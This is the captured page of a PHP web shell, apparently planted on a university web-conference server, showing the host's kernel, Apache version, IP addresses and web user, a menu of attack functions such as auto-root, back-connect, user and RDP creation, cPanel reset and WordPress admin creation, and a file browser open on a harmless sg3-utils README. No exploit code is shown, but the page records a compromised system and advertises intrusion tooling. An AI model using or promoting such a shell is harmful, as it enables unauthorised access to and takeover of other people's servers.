Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.131.38.184
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
sg3-utils /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
AUTHORS
114
B
-rw-r--r--
COVERAGE.gz
2.23
KB
-rw-r--r--
CREDITS.gz
2.58
KB
-rw-r--r--
README.freebsd.gz
2.07
KB
-rw-r--r--
README.gz
10.48
KB
-rw-r--r--
README.iscsi
1.27
KB
-rw-r--r--
README.sg_start
1.2
KB
-rw-r--r--
README.solaris.gz
2.51
KB
-rw-r--r--
README.tru64
2.77
KB
-rw-r--r--
README.win32.gz
4.14
KB
-rw-r--r--
changelog.Debian.gz
1.48
KB
-rw-r--r--
copyright
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : README.sg_start
Hi, you can use sg_start to start (spin-up, 1) and stop (spin-down, 0) devices. I also offers a parameter (-s) to send a synchronize cache command to a device, so it should write back its internal buffers to the medium. Be aware that the Linux SCSI subsystem at this time does not automatically starts stopped devices, so stopping a device which is in use may have fatal results for you. So, you should apply with care. I use it in my shutdown script at the end (before the poweroff command): # SG_SHUG_NOS is set in my config file rc.config # SG_SHUT_NOS="0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15" if test -x /bin/sg_start; then if test "`basename $command`" = "reboot"; then for no in $SG_SHUT_NOS; do /bin/sg_start /dev/sg$no -s >/dev/null 2>&1; done else for no in $SG_SHUT_NOS; do /bin/sg_start /dev/sg$no -s 0 >/dev/null 2>&1; done fi fi Enjoy! Kurt Garloff <garloff at suse dot de> Postscript ========== sg_start has been reworked to allow a block device (e.g. /dev/sda) in addition to the sg device name (e.g. /dev/sg0) in the lk 2.6 series. sg_start now has more command line options, see its man page. Douglas Gilbert <dgilbert at interlog dot com> 2004/5/8
Close